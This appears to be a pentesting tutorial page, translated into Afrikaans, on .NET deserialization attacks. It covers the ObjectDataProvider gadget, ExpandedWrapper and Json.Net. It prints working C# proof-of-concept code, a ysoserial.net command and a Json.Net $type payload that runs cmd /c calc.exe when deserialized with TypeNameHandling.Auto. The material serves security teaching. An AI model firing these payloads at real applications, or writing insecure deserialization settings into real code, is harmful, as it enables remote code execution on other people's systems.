hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

10 KiB

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Hierdie pos is toegewy aan om te verstaan hoe die gadget ObjectDataProvider uitgebuit word om RCE te verkry en hoe die Serialisering biblioteke Json.Net en xmlSerializer misbruik kan word met daardie gadget.

ObjectDataProvider Gadget

Uit die dokumentasie: die ObjectDataProvider Klas Wrapping en skep 'n objek wat jy kan gebruik as 'n binding bron.
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat het hierdie klas wat so interessant is: Hierdie klas laat toe om 'n arbitrêre objek te wrapping, gebruik MethodParameters om arbitrêre parameters in te stel, en dan gebruik MethodName om 'n arbitrêre funksie van die arbitrêre objek wat met die arbitrêre parameters verklaar is, aan te roep.
Daarom, die arbitrêre objek sal uitvoer 'n funksie met parameters terwyl dit gedeserialiseer word.

Hoe is dit moontlik

Die System.Windows.Data naamruimte, wat binne die PresentationFramework.dll by C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF gevind word, is waar die ObjectDataProvider gedefinieer en geïmplementeer word.

Met dnSpy kan jy die kode van die klas waarin ons belangstel, ondersoek. In die beeld hieronder sien ons die kode van PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Metode naam

Soos jy kan waarneem wanneer MethodName gestel word, word base.Refresh() aangeroep, kom ons kyk wat dit doen:

Goed, kom ons gaan voort om te sien wat this.BeginQuery() doen. BeginQuery word oorgeskryf deur ObjectDataProvider en dit is wat dit doen:

Let daarop dat aan die einde van die kode dit this.QueryWorke(null) aanroep. Kom ons kyk wat dit uitvoer:

Let daarop dat dit nie die volledige kode van die funksie QueryWorker is nie, maar dit toon die interessante deel daarvan: Die kode roep this.InvokeMethodOnInstance(out ex); aan dit is die lyn waar die metode stel aangeroep word.

As jy wil kyk dat net deur die MethodName** in te stel**, dit uitgevoer sal word**, kan jy hierdie kode uitvoer:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Let wel dat jy as verwysing C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll moet byvoeg om System.Windows.Data te laai.

ExpandedWrapper

Met behulp van die vorige ontploffing sal daar gevalle wees waar die object as 'n ObjectDataProvider instansie gedeserialiseer gaan word (byvoorbeeld in DotNetNuke kwesbaarheid, met behulp van XmlSerializer, is die object gedeserialiseer met GetType). Dan sal daar geen kennis wees van die objektipe wat in die ObjectDataProvider instansie ingepak is (byvoorbeeld Process). Jy kan meer inligting oor die DotNetNuke kwesbaarheid hier vind.

Hierdie klas laat toe om die objektipe van die objek wat ingepak is in 'n gegewe instansie te specifiseer. So, hierdie klas kan gebruik word om 'n bronobjek (ObjectDataProvider) in 'n nuwe objektipe in te pak en die eienskappe wat ons nodig het (ObjectDataProvider.MethodName en ObjectDataProvider.MethodParameters).
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, omdat ons in staat sal wees om _ObjectDataProvider** binne 'n **ExpandedWrapper _ instansie te verpak en wanneer dit gedeserialiseer word sal hierdie klas die OjectDataProvider objek skep wat die funksie wat in MethodName aangedui is, sal uitvoer.

Jy kan hierdie wrapper met die volgende kode nagaan:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In die amptelike webblad word aangedui dat hierdie biblioteek toelaat om enige .NET objek met Json.NET se kragtige JSON serialiseerder te serialiseer en deserialiseer. So, as ons die ObjectDataProvider gadget kon deserialiseer, kon ons 'n RCE veroorsaak net deur 'n objek te deserialiseer.

Json.Net voorbeeld

Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n objek te serialiseer/deserialiseer met hierdie biblioteek:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Misbruik van Json.Net

Met ysoserial.net het ek die uitbuiting geskep:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In hierdie kode kan jy die eksploit toets, voer dit net uit en jy sal sien dat 'n kalkulator uitgevoer word:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks
{% endhint %}